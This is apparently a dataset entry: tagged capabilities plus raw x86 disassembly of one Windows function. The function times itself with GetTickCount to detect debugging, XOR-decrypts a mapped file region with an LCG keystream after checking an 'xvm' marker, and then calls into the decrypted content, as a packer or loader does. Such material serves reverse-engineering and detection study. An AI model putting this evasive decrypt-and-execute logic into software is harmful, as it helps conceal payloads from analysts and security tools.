Function at 0x402884
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Encode data using xor
Generate random numbers using the delphi lcg
Get file size
Read file via mapping
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x884
xor ecx, ecx
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x38], ecx
call fcn.00402322
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 0xa0]
call dword [0x40602c]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
and eax, 0x11
mov dword [esp + 0x4c], 3
cmp eax, 0x111
je 0x40290f
call esi
mov esi, dword [esp + 0x1c]
mov dword [0x406040], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x4029e8
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], ecx
push 4
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
xor edx, edx
mov eax, ecx
div dword [esp + 0x4c]
test ecx, 0xffff8000
je 0x40296d
test edx, edx
je 0x403146
cmp edx, 1
je 0x4029e8
mov eax, dword [esp + 0xc]
jmp 0x402927
mov eax, dword [esp + 0x48]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x58]
mov dword [esp + 0x5c], esi
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], edi
call fcn.00403800
mov esi, eax
cmp esi, 1
jne 0x4031a1
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
push 3
xor edx, edx
mov eax, ecx
pop esi
div esi
test ecx, 0xffff8000
je 0x4030f6
test edx, edx
je 0x403146
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
cmp edx, 1
jne 0x402927
push 3
pop edi
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
xor edx, edx
mov eax, ecx
div edi
test ecx, 0xffff8000
jne 0x402d75
push ecx
call fcn.004024f2
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
xor edx, edx
mov eax, ecx
div edi
test ecx, 0xffff8000
jne 0x402d75
call fcn.00403493
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x401380
lea esi, [eax + 0xfe0]
call edi
push eax
call dword [0x406008]
test eax, eax
setne al
pop ecx
pop ecx
mov byte [esp + 0x27], al
test al, al
je 0x402a89
push 0x40123c
call edi
push eax
call dword [0x406008]
pop ecx
pop ecx
test eax, eax
je 0x402a89
mov ecx, esi
mov byte [esp + 0x13], 1
call fcn.004031ed
test al, al
je 0x4031b9
xor ecx, ecx
jmp 0x402aa2
xor ecx, ecx
cmp dword [esi], 0x696d7678
mov byte [esp + 0x13], cl
jne 0x402aa0
cmp dword [esi + 4], 0x74636a6e
je 0x402aa2
mov esi, ecx
test esi, esi
je 0x402cec
mov ebx, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ecx
push ecx
push ecx
push 6
push dword [esi + 0x18]
call ebx
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
je 0x40304d
xor eax, eax
push eax
push eax
push eax
push 6
push dword [edi + 0x1c]
call ebx
mov ebx, eax
mov dword [esp + 0x3c], ebx
test ebx, ebx
je 0x403034
mov ecx, dword [ebx + 0x48]
cmp ecx, 0x3fc
jae 0x40301f
mov eax, dword [ebx + 0x4c]
add ecx, ecx
push ecx
add eax, ebx
push eax
lea eax, [esp + 0xa0]
push eax
call dword [0x406020]
mov eax, dword [ebx + 0x48]
xor ecx, ecx
mov word [esp + eax*2 + 0xa4], cx
mov eax, dword [edi + 0x40]
xor esi, esi
add esp, 0xc
xor ebx, ebx
mov dword [esp + 0x34], esi
test eax, eax
je 0x402b53
cmp dword [edi + 0x44], ecx
je 0x402b53
lea eax, [eax*2 + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402b5d
push ecx
push 0x40140c
jmp 0x403133
cmp byte [esp + 0x13], cl
jne 0x403014
mov eax, dword [edi + 0x50]
test eax, eax
je 0x402b95
cmp dword [edi + 0x54], esi
je 0x402b95
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esp + 0x34], esi
test esi, esi
jne 0x402ba0
push ecx
push 0x401434
jmp 0x403133
cmp byte [esp + 0x27], 0
jne 0x403009
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edi, dword [eax + 0x10]
test ebx, ebx
je 0x402be2
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 0x40]
add eax, eax
push eax
mov eax, dword [ecx + 0x44]
add eax, ecx
push eax
push ebx
call dword [0x406020]
mov eax, dword [esp + 0x20]
add esp, 0xc
mov eax, dword [eax + 0x40]
xor ecx, ecx
mov word [ebx + eax*2], cx
push ebx
lea eax, [edi + 0x38]
push eax
call dword [0x406034]
test esi, esi
je 0x402c72
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 0x50]
add eax, eax
push eax
mov eax, dword [ecx + 0x54]
add eax, ecx
push eax
push esi
call dword [0x406020]
mov eax, dword [esp + 0x20]
add esp, 0xc
mov eax, dword [eax + 0x50]
push esi
xor ecx, ecx
add edi, 0x40
push edi
mov word [esi + eax*2], cx
call dword [0x406034]
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [section..data]
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
je 0x402c6e
push 8
lea eax, [esp + 0x54]
push 0
push eax
call dword [0x40601c]
add esp, 0xc
lea eax, [esp + 0x50]
push 1
push edi
push eax
call dword [0x406030]
test eax, eax
js 0x402c6b
push dword [esp + 0x54]
push esi
call dword [0x406010]
pop ecx
pop ecx
jmp 0x402c6e
mov byte [esi], 0
mov esi, dword [esp + 0x34]
call fcn.004034cf
test al, al
je 0x402d14
call fcn.00403493
mov ecx, dword [eax + 0x20]
xor edx, edx
cmp dword [eax + 0x24], edx
ja 0x402d14
jb 0x402c9c
cmp ecx, 0x7fff0000
jae 0x402d14
test ebx, ebx
je 0x402cc4
mov dword [ecx + 0x68], ebx
mov ebx, dword [esp + 0x14]
mov dword [ecx + 0x6c], edx
mov ax, word [ebx + 0x40]
add ax, ax
mov word [ecx + 0x60], ax
mov ax, word [ebx + 0x40]
inc ax
add ax, ax
mov word [ecx + 0x62], ax
jmp 0x402cc8
mov ebx, dword [esp + 0x14]
test esi, esi
je 0x402d18
mov dword [ecx + 0x78], esi
mov dword [ecx + 0x7c], edx
mov ax, word [ebx + 0x50]
add ax, ax
mov word [ecx + 0x70], ax
mov ax, word [ebx + 0x50]
inc ax
add ax, ax
mov word [ecx + 0x72], ax
jmp 0x402d18
mov esi, 0x3fc
push esi
lea eax, [esp + 0x9c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402d09
cmp eax, esi
jne 0x402d18
push ecx
push 0x40145c
jmp 0x40303a
mov ebx, dword [esp + 0x14]
push 0x5c
pop eax
cmp word [esp + 0x98], ax
jne 0x402d38
cmp word [esp + 0x9a], ax
jne 0x402d38
lea esi, [esp + 0x98]
jmp 0x402d57
push 8
lea eax, [esp + 0x94]
push 0x401678
push eax
call dword [0x406020]
add esp, 0xc
lea esi, [esp + 0x90]
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
push 3
xor edx, edx
mov eax, ecx
pop edi
div edi
test ecx, 0xffff8000
je 0x402d8b
test edx, edx
je 0x403146
cmp edx, 1
je 0x4029eb
jmp 0x402e9f
push ecx
push esi
call fcn.004024aa
push ecx
push 0x401470
call fcn.004024aa
xor eax, eax
push eax
push eax
push edi
push eax
push 7
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x2c], edi
cmp edi, 0xffffffff
je 0x4030eb
call fcn.00403546
test eax, eax
jne 0x4029e8
push eax
push eax
push eax
push 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x28], eax
test eax, eax
je 0x4030e0
push 0x1000
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x4030d5
mov ecx, edi
call fcn.00402547
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4030ca
xor eax, eax
push eax
mov ecx, esi
add ecx, 0x1000
pop edx
adc eax, edx
cmp dword [esp + 0x44], eax
jl 0x4030a4
jg 0x402e4d
cmp dword [esp + 0x40], ecx
jbe 0x4030a4
lea eax, [esi + 0x1000]
push eax
push edx
push edx
push 4
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
mov dword [esp + 0x30], edi
test edi, edi
je 0x40309c
call fcn.00403525
mov ecx, eax
sub ecx, dword [0x406040]
push 3
xor edx, edx
mov eax, ecx
pop esi
div esi
test ecx, 0xffff8000
je 0x402ea8
test edx, edx
je 0x403146
cmp edx, 1
je 0x4029e8
mov esi, dword [esp + 0x18]
jmp 0x402967
mov ecx, edi
call fcn.00402547
lea esi, [edi + eax]
push 4
mov ecx, dword [esi]
pop ebx
add esi, ebx
cmp ecx, 0x6d7678
jne 0x403091
mov ecx, dword [esi]
push 3
pop eax
add esi, ebx
cmp ecx, eax
jne 0x403086
mov edx, dword [esi]
mov edi, edx
imul edi, edi, 0x8088405
add esi, ebx
inc edi
mov ecx, dword [esi]
mov eax, edi
xor eax, edx
add esi, ebx
cmp eax, ecx
jne 0x40307b
mov ecx, dword [esi]
mov edx, edi
imul edx, edx, 0x8088405
inc edx
mov eax, edx
xor eax, edi
add esi, ebx
cmp eax, ecx
jne 0x403070
mov eax, dword [esi]
imul edx, edx, 0x8088405
inc edx
xor eax, edx
imul edx, edx, 0x8088405
add esi, ebx
inc edx
mov ecx, dword [esi]
xor ecx, edx
imul edx, edx, 0x2b9ad7e7
mov dword [esp + 0x20], 0x8088406
sub dword [esp + 0x20], edx
mov edx, dword [esp + 0x20]
xor edx, dword [esi + 8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x30]
lea ebx, [esi + 8]
sub ebx, eax
add ebx, 4
add edx, ebx
add edx, ecx
push eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push eax
push eax
push eax
push 8
push eax
push dword [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, eax
mov dword [esp + 0x28], ecx
test ecx, ecx
je 0x403068
mov esi, dword [esp + 0x18]
lea eax, [ebx + esi]
push eax
push 0
push 0
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x30], eax
test eax, eax
je 0x403060
add eax, ebx
mov dword [esp + 0x48], eax
mov ecx, eax
test esi, esi
je 0x402fce
mov edx, esi
imul edi, edi, 0x343fd
add edi, 0x269ec3
mov eax, edi
shr eax, 0x10
xor byte [ecx], al
inc ecx
dec edx
jne 0x402fb7
xor eax, eax
push ecx
push ecx
lea ecx, [esp + 0x60]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], eax
call fcn.004036e0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x403055
mov ebx, dword [esp + 0x14]
jmp 0x402e9f
push ecx
push 0x401448
jmp 0x403133
push ecx
push 0x401420
jmp 0x403133
push ecx
push 0x4013f8
call fcn.004024aa
push 0xa
push dword [ebx + 0x48]
jmp 0x4031af
push ecx
push 0x4013e4
call fcn.004024aa
push 0xa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
jmp 0x4031af
push ecx
push 0x4013d0
jmp 0x40303a
push ecx
push 0x401590
jmp 0x4031a7
push ecx
push 0x40157c
jmp 0x40303a
push ecx
push 0x401568
jmp 0x40303a
push ecx
push 0x401558
jmp 0x403133
push ecx
push 0x401548
jmp 0x403133
push ecx
push 0x401538
jmp 0x403133
push ecx
push 0x401528
jmp 0x403133
push ecx
push 0x401514
jmp 0x40303a
push ecx
push 0x401500
call fcn.004024aa
push 0xa
push dword [esp + 0x44]
mov ecx, 0x406048
call fcn.00402443
push ecx
push 0x401470
jmp 0x4031a7
push ecx
push 0x4014ec
jmp 0x40303a
push ecx
push 0x4014d8
jmp 0x40303a
push ecx
push 0x4014c4
jmp 0x40303a
push ecx
push 0x401478
jmp 0x40303a
mov ecx, edi
call fcn.00402627
push 0x8000
push dword [esp + 0x10]
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x4031b9
mov ecx, esi
call fcn.004034ed
mov ecx, esi
call fcn.0040259e
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x40313a
push ecx
push 0x4015b0
call fcn.004024aa
jmp 0x4031b9
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x38], eax
mov edi, dword [esp + 0x2c]
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
jne 0x40316a
push ecx
push 0x4015c0
jmp 0x40303a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x24]
push ebx
add eax, 0xffff
and eax, 0xffff0000
push eax
push dword [esp + 0x50]
push dword [esp + 0x50]
push esi
push dword [esp + 0x50]
call dword [esp + 0x38]
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
push 0x40159c
call fcn.004024aa
push 0xa
push esi
mov ecx, 0x406048
call fcn.00402443
push 0x4015d4
push 0x4015e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10
push 0x4015f8
push 0x406048
push 0
call eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]